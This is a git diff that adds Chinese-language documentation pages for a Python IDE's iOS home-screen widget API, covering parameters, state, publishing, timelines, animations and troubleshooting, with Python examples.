  3. 布局:多数卡片用 row() / column() / grid();精确定位才用 canvas() / table()
  4. 参数widget.param.* 在构建 UI 之前声明,供预览面板与 Studio 持久化。
  5. 状态widget.state.* 生成桌面可执行的 increment / toggle / set action。
  6. 上下文widget.context.familycontent_widthcontent_height 做尺寸分支。
  7. 收尾:脚本末尾有且仅有一次 w.render()
+

#与 appui / scene 怎么选

+
需求首选原因
主屏/锁屏/StandBy 卡片widgetWidgetKit 时间线与系统刷新预算
设置页、表单、导航 Appappui完整交互与滚动列表
触摸游戏、逐帧动画scene实时帧循环,不是 Widget 模型
教材海龟绘图turtle单次画布,非桌面组件
+

#WidgetKit 能做什么 / 不能做什么

+
适合不适合
静态/准静态展示、数字过渡动画文本输入框、长列表滚动
按钮、开关、链接(AppIntent)WebView、视频、复杂手势
时间线刷新、深色/透明/渐变背景60fps 实时动画、任意 Python 回调在扩展内执行
+
+

#API 参考

+

#速查

+
API作用
Widget(...)根容器;唯一入口
w.render()提交 IR,生成预览/桌面时间线
widget.param.text/color/number/slider/bool/choice/file用户可调参数
widget.state.int/float/bool/str/list持久状态 + action 工厂
count.increment() / done.toggle()按钮/开关的 action=
widget.context当前 family 与内容区尺寸
widget.family_value(d, small=..., large=...)按尺寸返回值
w.timeline(...)多条时间线条目(见专题文档)
widget.SMALL / MEDIUM / LARGE尺寸常量
+

#widget.param 声明

+
方法用途
text(name, default)标题、文案
color(name, default)十六进制或语义色
number(name, default, min=, max=)整数/小数参数
slider(name, default, min=, max=, step=)滑块
bool(name, default)开关类参数(预览面板,不是桌面 state)
choice(name, options, default=)下拉选项
file(name, default, extensions=)图片等资源路径
+

第一个参数 name 是参数 ID,同时作为预览面板默认标题。

+

#widget.state 与交互

+
+
+ python +
+
+
count = widget.state.int("count", 0)
+done = widget.state.bool("done", False)
+
+w.button("加 1", action=count.increment())
+w.button("减 1", action=count.decrement(by=2))
+w.toggle("完成", state=done)  # 用 state=,不要手写 toggle action
+
+

状态 key 变更或删除后,需重新发布小组件,否则桌面可能仍读写旧 key。

+

#尺寸与布局

+
+
+ python +
+
+
ctx = widget.context
+
+if ctx.is_family("small"):
+    w.text("简版", size=14)
+elif ctx.is_family("large"):
+    w.text("完整版", size=18)
+
+size = widget.family_value(14, small=12, medium=14, large=18)
+
+

布局细节见 布局与尺寸;完整节点列表见 API 参考

+
+

#常见错误

+
错误写法后果修正
忘记 w.render()预览空白脚本末尾调用一次
创建多个 Widget()行为未定义只保留一个根 Widget
SpriteNode / appui.Button 混入脚本构建失败只用 widget.Widget 节点 API
按钮 action 写死字符串点击无反应widget.state.increment()
widget.param 写在 render() 之后参数面板缺失先声明参数再构建 UI
small 塞满 large 文案文字裁切family_value / is_family 分支 + line_limit
改 state key 不重新发布桌面计数错乱重新运行、发布,必要时删桌面组件重装
传 Python 函数给 action=需拉起 App 执行交互优先 widget.state;见 交互
w.symbol(..., color=, size=)TypeErrorw.symbol("name").color(c).font_size(n)
w.toggle(..., tint=)TypeErrorcolor=
w.link(..., icon=).line_limit()AttributeErroricon 的 link 不可链修饰符
+
+

#失败路径

+
情况处理
预览空白检查 w.render()、是否只创建一个 Widget、脚本是否混入 appui/scene
参数不出现确认 widget.param.* 在 UI 构建前,且 name 非空
点击没反应action 必须来自 widget.state;开关用 w.toggle(..., state=done)
桌面仍旧内容重新运行并发布;删除主屏小组件后重新添加
文本被裁切.line_limit(1).min_scale(0.65);small 隐藏次要行
预览与桌面不一致排错;确认已发布最新构建
+
+

#发布到桌面(简表)

+

文档里的 previewWidget 不能直接上主屏。完整步骤见 从脚本到桌面

+
  1. 把脚本复制到 Widget Studio 项目
  2. Studio 运行预览 → 调 widget.param → 切换 family 检查裁切
  3. 构建成功且提示「已发布」类消息
  4. 在 iOS 主屏幕 + 添加 Python IDE 小组件
  5. 在桌面点按钮/开关验证 widget.state
+
+

#专题文档

+
文档用途
从脚本到桌面发布流程与检查清单
布局与尺寸row/column/grid、family 预算
参数面板widget.param 详解
状态和交互state、按钮、开关、链接
时间线和动画timelinecontent_transition
资源与外观颜色、渐变、图片、SVG
排错预览/桌面不一致
API 索引按任务选 API
API 参考全部节点签名
+

#相关模块

+
文档用途
appui完整 App 界面(非小组件)
scene2D 游戏画布(非 WidgetKit)
shortcut快捷指令触发脚本刷新小组件
+

#相关文档

+ +

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/widget-parameters/index.html b/docs/docs/pages/widget-parameters/index.html new file mode 100644 index 0000000..623531e --- /dev/null +++ b/docs/docs/pages/widget-parameters/index.html @@ -0,0 +1,473 @@ + + + + + + widget 参数面板 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

widget 参数面板

+

widget.param 声明预览可调配置,与 widget.state 桌面交互区分。

+
+ +
+

widget.param 声明用户可在预览面板调节的配置项;返回值直接用于 Widget()text()progress()button() 等。

+
边界widget.param小组件配置(预览/发布时的参数),不是桌面点击改写的数据。计数、开关持久化用 widget.state,见 状态和交互
+

#本篇目标

+
说明
何时用颜色、标题文案、字号、阈值、是否紧凑、主题选项、背景图文件
何时不用用户点按钮 +1、桌面开关记忆 → 用 widget.state
声明时机构建 UI 之前;在 w.render() 之前
改名/改类型后重新运行并发布;桌面小组件可能需重新添加
+
+

#快速开始

+

预览侧栏会出现多类参数;choice 切换主题时,背景、图标与强调色一并变化(无 widget.state)。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+theme = widget.param.choice("主题", ["海洋", "日落", "森林"], default="海洋")
+themes = {
+    "海洋": (("#E0F2FE", "#082F49"), "#0EA5E9", "drop.fill"),
+    "日落": (("#FFF7ED", "#431407"), "#F97316", "sun.max.fill"),
+    "森林": (("#ECFDF5", "#052E16"), "#10B981", "leaf.fill"),
+}
+bg, accent, icon = themes[str(theme)]
+title = widget.param.text("标题", "今日天气")
+city = widget.param.text("城市", "上海")
+temp = widget.param.number("温度", 24, min=-20, max=45)
+
+w = widget.Widget(background=bg, padding=14)
+with w.row(spacing=10):
+    w.symbol(icon).color(accent).font_size(24)
+    w.text(title, size=16, weight="semibold", color=accent).line_limit(1).min_scale(0.72)
+(
+    w.value(temp, unit="°")
+    .content_transition("numericText")
+    .monospaced_digit()
+    .line_limit(1)
+    .min_scale(0.72)
+)
+w.text(city, size=12, color="secondary").line_limit(1).min_scale(0.72)
+w.render()
+
+
+

#参数 vs 状态

+
widget.paramwidget.state
谁改用户在 预览面板 / Studio用户在 桌面小组件 点按
持久化写入 Widget 项目配置写入小组件状态存储
典型用途主题色、默认标题、目标值计数器、完成开关、列表勾选
传给 UI直接作 color=size=background=value / state= + action
+
+
+ python +
+
+
# ✅ 配置:强调色可调
+accent = widget.param.color("强调色", "#2563EB")
+
+# ✅ 交互:桌面点击累加
+count = widget.state.int("count", 0)
+w.button("加 1", action=count.increment(), background=accent)
+
+
+

#API 参考

+

#速查

+
API返回值预览控件
param.text(name, default)str(可绑定)文本框
param.color(name, default)颜色字符串取色器
param.slider(name, default, min=, max=, step=)float/int滑块
param.number(name, default, min=, max=)数字数字步进
param.bool(name, default)bool开关
param.choice(name, options, default=)str(选项之一)下拉/分段
param.file(name, default, extensions=)文件路径 str文件选择
+

name 是参数 ID,同时作为预览面板默认标题;建议用用户能看懂的中文,如 "背景色""标题字号"

+

#text

+
+
+ python +
+
+
title = widget.param.text("标题", "每日记录")
+subtitle = widget.param.text("副标题", "", placeholder="可选")
+hint = widget.param.text(
+    "备注",
+    "",
+    title="页脚说明",
+    description="显示在卡片底部,可为空",
+    group="高级",
+    hidden=False,
+)
+
+

用于标题、备注、显示用文案默认值。绑定后的字符串传给 w.text(title, ...) 时,用户改参数会反映到预览。

+

可选关键字(均在 namedefault 之后):

+
参数作用
placeholder预览侧栏输入框占位提示
title覆盖侧栏显示标题(默认用 name
description侧栏帮助说明
group参数分组标题
order组内排序(数字越小越靠前)
hiddenTrue 时侧栏隐藏(脚本仍可读取)
role / live高级用途;一般示例可省略
+

#color

+
+
+ python +
+
+
paper = widget.param.color("背景色", "#FBFAF5")
+ink = widget.param.color("文字色", "#242326")
+accent = widget.param.color("强调色", "#2563EB")
+
+
  • 默认值为 #RRGGBB 或语义色名字符串。
  • 可传给 Widget(background=paper)w.text(..., color=ink)w.progress(..., color=accent)w.button(..., background=accent)
  • togglecolor=,没有 tint= 参数。
+

#slider / number

+
+
+ python +
+
+
title_size = widget.param.slider("标题字号", 18, min=12, max=28, step=1)
+target = widget.param.number("目标次数", 8, min=1, max=20)
+
+
  • slider:连续调节(字号、透明度、圆角等)。
  • number:离散数值(目标、阈值、上限)。
  • 传给 size=height= 等时建议 int(...),尤其在 family_value 分支里。
+

#bool

+
+
+ python +
+
+
compact = widget.param.bool("紧凑模式", False)
+show_footer = widget.param.bool("显示页脚", True)
+
+

返回普通 bool,用于 Python 分支,例如:

+
+
+ python +
+
+
padding = 10 if compact else 16
+if show_footer:
+    w.text("页脚", size=11, color="secondary")
+
+

不要与 widget.state.bool(桌面交互)混淆。

+

#choice

+
+
+ python +
+
+
mode = widget.param.choice("风格", ["健康", "专注", "代码"], default="专注")
+
+
  • options 至少一项。
  • default 必须是 options 中的某一项(或省略则用第一项)。
  • 返回值是选项字符串,可拼进 w.text("风格:" + mode)
+

#file

+
+
+ python +
+
+
logo = widget.param.file("角标图", "", extensions=["png", "jpg", "svg"])
+bg = widget.param.file("背景图", "assets/bg.png", extensions=["png", "jpg"])
+
+
  • 默认路径相对于 widget 脚本目录或项目 assets/
  • 选中文件后路径注入参数;配合 w.image(logo, ...) 或背景资源 API(见 资源与外观)。
  • 文档预览里文件选择仅演示,不能当生产路径依赖。
+
+

#与布局、尺寸配合

+

参数常和 widget.contextwidget.family_value 一起用,避免 small 字号过大:

+
+
+ python +
+
+
size = widget.param.slider("标题字号", 20, min=14, max=28, step=1)
+display_size = widget.family_value(int(size), small=14, medium=int(size), large=min(28, int(size) + 2))
+w.text(title, size=display_size).line_limit(1).min_scale(0.65)
+
+

详见 布局与尺寸

+
+

#预览与发布行为

+
阶段行为
文档 / Studio 预览侧栏改参数 → 重新构建当前 family 预览
发布到桌面使用发布时刻的项目参数快照
改参数名旧桌面实例可能仍绑定旧 key → 重新发布,必要时删组件重装
改默认值新发布生效;已添加的桌面组件不自动改配置
+

Studio 中 color / slider / number / bool 等常带 live 预览:拖动滑块即可看效果,无需改代码。

+
+

#常见错误

+
错误写法后果修正
widget.state 当配色桌面乱改主题色配色用 widget.param.color
param 写在 render() 之后面板无参数全部提前到 UI 构建前
choice 的 default 不在 options构建报错default 必须是 options 之一
slider 传入字符串默认值类型异常用数字 18,不是 "18"
参数名随代码重构乱改桌面配置丢失对用户可见名保持稳定,或接受重装
toggle(..., tint=)TypeErrorcolor=
+
+

#失败路径

+
现象处理
预览侧栏没有参数确认 widget.param.* 且在 w.render()
改参数预览不变看控制台构建日志;color/slider 类应自动 live
桌面仍是旧配色重新运行发布;不是 param 没生效而是未重发
文件参数路径无效文件放进脚本同目录或 assets/;检查 extensions
参数与状态搞混对照上文表格;交互见 状态和交互
+
+

#相关文档

+
文档用途
widget 概览总览与示例
从脚本到桌面发布流程
状态和交互widget.state、按钮、开关
资源与外观图片、渐变、文件资源
布局与尺寸family_value、防裁切
API 参考widget.param 完整签名
+

相关 API:widget-api-reference.md

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/widget-quickstart-publish/index.html b/docs/docs/pages/widget-quickstart-publish/index.html new file mode 100644 index 0000000..4f33722 --- /dev/null +++ b/docs/docs/pages/widget-quickstart-publish/index.html @@ -0,0 +1,375 @@ + + + + + + widget 从脚本到桌面 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

widget 从脚本到桌面

+

Widget Studio 预览、发布、系统添加主屏小组件与桌面验证。

+
+ +
+

API 地图见 widget-api-index.md;完整签名见 widget-api-reference.md

+

从第一行 Python 脚本到主屏/锁屏真正显示:写脚本 → 预览 → 调参 → 发布 → 系统添加小组件。

+
边界:本篇讲发布流程。API 与节点写法见 widget 概览;文档里的 previewWidget 只能预览,不能直接发布到桌面。
+

#本篇目标

+
说明
读完你会完成一次端到端发布,并在桌面验证按钮交互
前提脚本含 Widget() + w.render(),且能正常预览
推荐路径Widget Studio 独立项目(最省事)
耗时首次约 5–10 分钟(含系统添加小组件)
+
+

#发布用脚本(可预览)

+

本篇示例专注发布验证:一个开关 + 状态文案,便于在桌面确认 AppIntent 是否生效。完整 API 写法(环形图、± 按钮等)见 widget 概览 · 饮水打卡

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+habit = widget.param.text("习惯名", "每日阅读")
+done = widget.state.bool("done", False)
+accent = widget.param.color("主色", "#7C3AED")
+
+w = widget.Widget(background=("#FAF5FF", "#1E1B4B"), padding=14)
+w.text(habit, size=16, weight="semibold").line_limit(1).min_scale(0.72)
+w.toggle("今日完成", state=done, color=accent, style="switch")
+status = "已完成,发布验证通过" if done else "桌面点开关以验证"
+w.text(status, size=12, color=accent if done else "secondary").line_limit(1).min_scale(0.72)
+w.render()
+
+

预期效果

+
  • medium:习惯名、开关、状态说明
  • 桌面点开关后文案变为「已完成…」即表示 widget.state 与发布链路正常
+
+

#三条入口,别搞混

+
入口能预览能发布到桌面适用
文档 previewWidget学 API、看效果
Widget Studio日常开发发布(推荐)
MiniApp Widget 工程工程内多文件 widget 目录
+

文档示例要上线:把代码复制到 Studio 新建脚本,或放进自己的 Widget 工程后再发布。

+
+

#发布流程(Widget Studio)

+

#1. 准备脚本

+
  • 只创建一个 w = widget.Widget(...)
  • 末尾调用 w.render()
  • 交互按钮使用 widget.statecount.increment() 等 action
+

#2. 创建或打开项目

+
  1. 打开 App 内 Widget Studio(小组件工作区)
  2. 新建独立小组件项目,或打开已有脚本对应的项目
  3. 将上例代码保存为项目的 Python 脚本
+

#3. 运行预览

+
  1. 在项目卡片上点 运行(或等价入口)
  2. 进入全屏/Sheet 小组件预览
  3. 右上角切换 small / medium / large,确认无文字裁切
  4. 在预览侧栏调整 widget.param(习惯名、主色等)
+

预览成功时,Studio 会生成草稿快照;满足条件时会自动发布到 App 的 Widget 扩展缓存(状态栏常见提示:「已生成并发布 N 个尺寸」或「Widget 已更新,可在桌面选择」)。

+

#4. 添加到 iOS 主屏幕

+

发布只代表 App 内已有可渲染快照;还要在系统里添加一次小组件

+
  1. 回到 iPhone 主屏幕(或锁屏编辑界面)
  2. 长按空白处 → 编辑主屏幕 → 点左上角 +
  3. 搜索并选择 Python IDE(或你的 App 显示名)
  4. 选择尺寸(小/中/大或锁屏 accessory)
  5. 若出现多个槽位/项目,选与 Studio 同名 的项目
  6. 添加小组件
+

锁屏 accessory(圆形/矩形/行内)需在锁屏编辑界面单独添加,布局要更精简(见 布局与尺寸)。

+

#5. 桌面验证交互

+
  1. 在主屏小组件上点 「今日完成」 开关
  2. 状态文案应变为「已完成,发布验证通过」
  3. 若不变:回到 Studio 重新运行发布,或删除桌面小组件后重新添加
+
+

#MiniApp Widget 工程(简表)

+

若 widget 脚本在 MiniApp 的 widgets/ 目录下:

+
  1. 在 MiniApp 编辑器打开 widget 脚本
  2. 运行 Widget 预览(工具栏/运行菜单)
  3. 构建成功且可发布时,同样会提示 「Widget 已更新,可在桌面选择」
  4. 按上一节 §4 在系统里添加或刷新小组件
+

多 widget _manifest、槽位与工程结构见 MiniApp 内说明;本篇不展开工程细节。

+
+

#发布前检查

+
检查项合格标准
入口仅一个 Widget(),最后 w.render()
预览Studio/文档预览非空白,无构建错误日志
文本可变文案有 .line_limit(1).min_scale(0.65+)
尺寸small 只保留核心信息;medium 为默认主力
参数widget.param.* 在 UI 构建之前声明
状态按钮 action=count.increment();开关 w.toggle(..., state=done)
外观浅色/深色模式下对比度可读
发布Studio 出现「已发布」类成功提示
桌面系统已添加小组件,且选中正确项目/槽位
+
+

#常见错误

+
错误后果修正
只在文档里预览就认为已上桌面主屏没有组件必须走 Studio 发布 + 系统添加
预览成功但未在系统里添加小组件桌面看不到长按主屏幕 → + → 选 App
选了错误的 Studio 项目槽位显示别的 widget添加时核对项目名称
改了 widget.state 的 key点击计数错乱重新发布;删桌面组件重装
改了布局/参数默认值桌面仍旧版重新运行发布;必要时删组件重装
small 塞满 large 内容裁切、难读widget.context.is_family("small") 分支
action 写死字符串点击无效widget.state 生成 action
+
+

#失败路径

+
现象处理
预览空白w.render();勿混用 appui/scene → 排错
发布失败 / 无成功提示看预览控制台日志;修脚本后重新运行
参数面板为空widget.param 须在 render() 前声明 → 参数面板
桌面不刷新重新运行发布;删主屏小组件 → 重新添加
预览正常、桌面异常确认已发布且选对口槽位;查 排错
点击无反应action 必须来自 widget.state状态和交互
+
+

#改脚本后要不要重新发布?

+
变更类型建议
改颜色默认值、文案重新运行发布;参数可在预览里覆盖
widget.state key必须重新发布;建议删桌面组件重装
改布局结构 / 新增 family重新运行发布,逐尺寸检查
仅改注释可不发布(桌面无变化)
+
+

#相关文档

+
文档用途
widget 概览API、示例、心智模型
参数面板widget.param 详解
状态和交互按钮、开关、链接
布局与尺寸small/medium/large、锁屏 accessory
排错预览/桌面不一致
API 索引按任务选 API
+

相关 API:widget-api-reference.md

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/widget-timeline/index.html b/docs/docs/pages/widget-timeline/index.html new file mode 100644 index 0000000..551707d --- /dev/null +++ b/docs/docs/pages/widget-timeline/index.html @@ -0,0 +1,591 @@ + + + + + + widget 时间线和动画 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

widget 时间线和动画

+

timeline/entry、state 数字动画、flip 翻页与 countdown 倒计时。

+
+ +
+

Widget 动画由 WidgetKit 在数据更新时触发:timeline entry 切换、AppIntent 改写 widget.state,或系统按计划刷新。不是 App 里的 60fps 循环动画。

+
边界:本篇讲 w.timelinewidget.entry、数字过渡与 flip。布局防裁切见 布局与尺寸;按钮触发 state 见 状态和交互
+

#本篇目标

+
说明
两类数据源widget.state(桌面点击)与 widget.entry(时间线条目字段)
数字动画.content_transition("numericText") + .monospaced_digit() + .id(...)
时间线w.timeline(entries=[...], update=, after=) 声明未来快照
翻页块w.flip(current, previous=...) 配合 entry 前后值
系统计时w.countdown / w.timer_text — WidgetKit 原生倒计时
限制无持续循环;刷新时机由系统调度
+
+

#快速开始

+

桌面点「消费」后余额数字滚动过渡——这是 state + numericText,不依赖 timeline。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+
+balance = widget.state.int("balance", 1280)
+accent = widget.param.color("主色", "#10B981")
+num_size = widget.family_value(42, small=34, large=52)
+
+w = widget.Widget(background=("#ECFDF5", "#064E3B"), padding=14)
+w.text("零钱罐", size=14, color="secondary").line_limit(1)
+(
+    w.value(balance.text("¥{}"))
+    .id("balance")
+    .font_size(num_size)
+    .monospaced_digit()
+    .content_transition("numericText")
+    .line_limit(1)
+    .min_scale(0.65)
+)
+(
+    w.button("消费 ¥10", action=balance.decrement(by=10), background=accent, color="#FFFFFF")
+    .line_limit(1)
+    .min_scale(0.72)
+)
+w.render()
+
+

要点:

+
  • balance.text("¥{}"):把 state 格式化成带货币符号的展示串,同时保留 state 绑定。
  • .content_transition("numericText"):数值变化时系统数字滚动动画。
  • .id("balance"):给变化节点稳定身份,动画更可靠。
  • 预览里点按钮即可看动画;桌面需发布后在小组件上点击。
+
+

#心智模型

+
+
+ text +
+
+
                    ┌─────────────────────────────────────┐
+                    │         WidgetKit 刷新时机           │
+                    └─────────────────────────────────────┘
+         系统调度 / timeline 到期 / AppIntent 改 state
+                              ↓
+              当前 entry 字段 或  state 新值 写入快照
+                              ↓
+        节点带 content_transition / flip / animation / transition
+                              ↓
+                    系统播放一次过渡动画
+
+

#widget.state vs widget.entry

+
widget.statewidget.entry
谁写入桌面 AppIntent(按钮、开关)w.timeline entries 每条快照
典型用途计数器、余额、开关按计划变化的展示数、翻页前后值
绑定写法widget.state.int("key", 0)widget.entry.int("price", 0.58)
格式化count.text("{} 次")price.text("{:.2f}")
动画触发点击后 state 变预览/桌面切到下一 entry
+

同一张卡片可以同时有 state(交互)和 entry(定时),但动画字段要各绑各的 key,不要混用。

+

#动画 API 怎么选

+
API适合
.content_transition("numericText")value() / 数字 state / entry 变化
.content_transition("opacity")文案淡入淡出
.animation("smooth", value_by="price")entry 字段变化时额外平滑(常配合 numericText)
.transition("push", edge="bottom")节点插入/替换方向
w.flip(current, previous=...)翻页钟、日历块、前后对比数字
w.countdown(..., target=)距某时刻剩余时间(系统驱动)
+
+

#时间线示例

+

#分时电价(timeline + entry + 数字动画)

+

声明 3 条未来快照;price / prev_price 为 entry 字段。预览里时间线会按条目轮播(Studio 约每秒切一帧)。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+from datetime import datetime, timedelta, timezone
+
+now = datetime.now(timezone.utc).replace(second=0, microsecond=0)
+price = widget.entry.float("price", 0.62)
+prev_price = widget.entry.float("prev_price", 0.68)
+accent = widget.param.color("强调色", "#F59E0B")
+
+w = widget.Widget(background=("#FFFBEB", "#292524"), padding=14)
+w.timeline(
+    entries=[
+        {"date": now.isoformat(), "price": 0.68, "prev_price": 0.72},
+        {"date": (now + timedelta(hours=1)).isoformat(), "price": 0.62, "prev_price": 0.68},
+        {"date": (now + timedelta(hours=2)).isoformat(), "price": 0.55, "prev_price": 0.62},
+    ],
+    update="end",
+)
+w.text("分时电价", size=14, color="secondary").line_limit(1)
+(
+    w.value(price.text("{:.2f}"), unit="元/度")
+    .content_transition("numericText")
+    .animation("smooth", duration=0.35, value_by="price")
+    .monospaced_digit()
+    .line_limit(1)
+    .min_scale(0.72)
+)
+if not widget.context.is_family("small"):
+    (
+        w.text(prev_price.text("上一档 {:.2f}"), size=11, color="secondary")
+        .line_limit(1)
+        .min_scale(0.72)
+    )
+w.render()
+
+
  • 每条 entry 是 dict必须含 date(ISO 8601 字符串,建议 UTC)。
  • entry 里其它 key(priceprev_price)与 widget.entry.*("price", ...) 的 name 对应。
  • update="end":在最后一条 entry 之后请求刷新(映射 WidgetKit .atEnd)。
+

#翻页分钟(flip

+

flip 需要当前值previous 两个 entry 字段;适合时钟、日历翻页。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+from datetime import datetime, timedelta, timezone
+
+now = datetime.now(timezone.utc).replace(second=0, microsecond=0)
+minute = widget.entry.int("minute", 41)
+prev_minute = widget.entry.int("prev_minute", 40)
+accent = widget.param.color("数字色", "#38BDF8")
+
+flip_w = widget.family_value(110, small=88, large=130)
+flip_h = widget.family_value(72, small=58, large=88)
+flip_sz = widget.family_value(44, small=32, large=52)
+
+w = widget.Widget(background=("#0B1220", "#020617"), padding=16)
+w.timeline(
+    entries=[
+        {"date": now.isoformat(), "minute": 41, "prev_minute": 40},
+        {"date": (now + timedelta(minutes=1)).isoformat(), "minute": 42, "prev_minute": 41},
+        {"date": (now + timedelta(minutes=2)).isoformat(), "minute": 43, "prev_minute": 42},
+    ],
+    update="end",
+)
+w.text("当前分钟", size=13, color="#94A3B8").line_limit(1).min_scale(0.72).line_limit(1)
+(
+    w.flip(
+        minute.text("{:02d}"),
+        previous=prev_minute.text("{:02d}"),
+        width=flip_w,
+        height=flip_h,
+        size=flip_sz,
+        color="#F8FAFC",
+        background="#1E293B",
+        corner_radius=10,
+        direction="up",
+    )
+    .id("flip-minute")
+)
+w.render()
+
+
  • minute.text("{:02d}"):entry 整数格式化为两位(与 Python 占位符一致)。
  • direction="up" / "down" 控制翻页方向;尺寸用 family_value 防 small 溢出。
+

#阶段文案(entry + transition

+

非数字也可用 entry 驱动;文案切换加 content_transition / transition

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+from datetime import datetime, timedelta, timezone
+
+now = datetime.now(timezone.utc).replace(second=0, microsecond=0)
+phase = widget.entry.str("phase", "候场")
+accent = widget.param.color("主色", "#8B5CF6")
+
+w = widget.Widget(background=("#FAF5FF", "#1E1B4B"), padding=14)
+w.timeline(
+    entries=[
+        {"date": now.isoformat(), "phase": "候场"},
+        {"date": (now + timedelta(minutes=3)).isoformat(), "phase": "演讲进行中"},
+        {"date": (now + timedelta(minutes=20)).isoformat(), "phase": "问答环节"},
+    ],
+    update="end",
+)
+w.text("活动状态", size=14, color="secondary").line_limit(1)
+(
+    w.text(phase, size=18, weight="semibold", color=accent)
+    .id("phase-label")
+    .content_transition("opacity")
+    .transition("push", edge="bottom")
+    .line_limit(1)
+    .min_scale(0.72)
+)
+w.render()
+
+
+

#系统倒计时(无需手写 entries)

+

距目标时刻的剩余时间由 WidgetKit 自动走时;适合会议、车次、截止时间。

+

预期效果:小组件预览面板显示与脚本一致的布局与交互。

+
+
+ python +
+
+
import widget
+from datetime import datetime, timedelta, timezone
+
+eta = datetime.now(timezone.utc) + timedelta(hours=1, minutes=25)
+accent = widget.param.color("主色", "#6366F1")
+
+w = widget.Widget(background=("#EEF2FF", "#1E1B4B"), padding=14)
+w.text("会议倒计时", size=14, weight="semibold").line_limit(1).min_scale(0.72)
+(
+    w.countdown(
+        "距离会议",
+        target=eta.isoformat(),
+        subtitle="三楼 302 · 可提前 5 分钟入场",
+        accent=accent,
+    )
+)
+w.render()
+
+
  • target 接受 ISO 8601 字符串或 datetime
  • 底层使用 timer_text;与 w.timeline 互补:一个管「走到某时刻」,一个管「预先排好的多条快照」。
+
+

#w.timeline 刷新策略

+
update行为
"after"(默认)after 指定时刻之后请求下次刷新;或用 interval(秒)
"end" / "atEnd"在最后一条 entry 之后刷新
"never"不再自动刷新
"rapid"向系统请求更频繁刷新;不保证实时频率,仍受 WidgetKit 预算合并
+
+
+ python +
+
+
from datetime import datetime, timedelta, timezone
+
+now = datetime.now(timezone.utc)
+w.timeline(
+    entries=[{"date": now.isoformat(), "value": 1}],
+    update="after",
+    after=(now + timedelta(minutes=30)).isoformat(),
+)
+
+# 或用间隔秒数(桌面映射为 after = now + interval)
+w.timeline(entries=[...], update="after", interval=900)
+
+

注意:

+
  • 没有 timeline 时,桌面主要靠系统刷新预算 + 用户点击改 state。
  • update="rapid" 适合「希望尽量跟紧」的场景(如短周期电价、临近截止的倒计时),但仍是请求而非定时器;系统可能合并或延后刷新,构建诊断可能给出 warning。
  • 预览里 Studio 轮播 entry(约每秒一帧)不等于桌面刷新频率;桌面由 WidgetKit 调度。
  • .animation(..., duration=, value_by=)duration 控制过渡时长;value_by 填 entry 字段名(如 "price"),与 content_transition("numericText") 常一起用。
+
+

#推荐写法速查

+

#交互数字(state)

+
+
+ python +
+
+
score = widget.state.int("score", 0)
+(
+    w.value(score, unit="分")
+    .id("score")
+    .monospaced_digit()
+    .content_transition("numericText")
+)
+w.button("+", action=score.increment())
+
+

#时间线数字(entry)

+
+
+ python +
+
+
amount = widget.entry.int("amount", 100)
+w.timeline(entries=[
+    {"date": "2026-06-10T08:00:00Z", "amount": 100},
+    {"date": "2026-06-10T09:00:00Z", "amount": 128},
+], update="end")
+(
+    w.value(amount.text("{}"))
+    .content_transition("numericText")
+    .animation("smooth", value_by="amount")
+)
+
+

#稳定身份

+

变化频繁的节点建议 .id("唯一串");entry 绑定节点也可自动生成 entry:price 类身份,显式 id 更利于排查。

+
+

#常见错误

+
错误写法后果修正
只有 value(count)content_transition数字跳变无动画.content_transition("numericText")
widget.state 绑 timeline 字段entry 不随时间线变timeline 字段用 widget.entry.*
entry 无 date顺序错乱或只用间隔推算每条写 ISO date
flip 只有当前值无 previous翻页效果弱同时声明 previous=prev_*.text(...)
期望 60fps 循环Widget 不支持改用 timeline 分段或 countdown
改 timeline 不重新发布桌面仍旧快照重新运行发布
+
+

#失败路径

+
现象处理
点击按钮数字不动确认 action 来自 widget.state;已加 content_transition
预览 timeline 不轮播检查 entries 非空、date 合法;重新运行预览
数字无动画、直接跳.monospaced_digit().id(...)content_transition
flip 不翻页确认 previous 绑 entry;timeline 至少 2 条
桌面时间不更新发布最新构建;countdowntarget 是否在未来
预览正常、桌面无动画系统可能合并刷新;删小组件重装;查 排错
动画卡顿或缺失减少同屏动画节点;small 降低 font_size / flip 尺寸
+
+

#相关文档

+
文档用途
widget 概览总览
状态和交互widget.state、AppIntent
布局与尺寸family_value、防裁切
从脚本到桌面发布后在桌面验证
排错预览/桌面不一致
API 参考timelineentryflip、修饰符签名
+

相关 API:widget-api-reference.md

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/widget-troubleshooting/index.html b/docs/docs/pages/widget-troubleshooting/index.html new file mode 100644 index 0000000..8b1db13 --- /dev/null +++ b/docs/docs/pages/widget-troubleshooting/index.html @@ -0,0 +1,434 @@ + + + + + + widget 排错 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

widget 排错

+

基线排查、预览≠桌面、裁切/点击/动画、w.validate 诊断。

+
+ +
+

预览正常但桌面异常、点击无反应、文字被裁切、动画不动——按现象 → 原因 → 修复逐项排查。先跑最小基线,再二分加回功能。

+
边界:本篇是故障手册,不教 API 写法。入门见 widget 概览;发布流程见 从脚本到桌面
+

#失败路径

+

按下方「五步排查流程」与「现象对照表」处理空白、裁切、点击无效与桌面缓存问题。

+

#本篇目标

+
说明
第一步最小健康基线确认环境与 w.render()
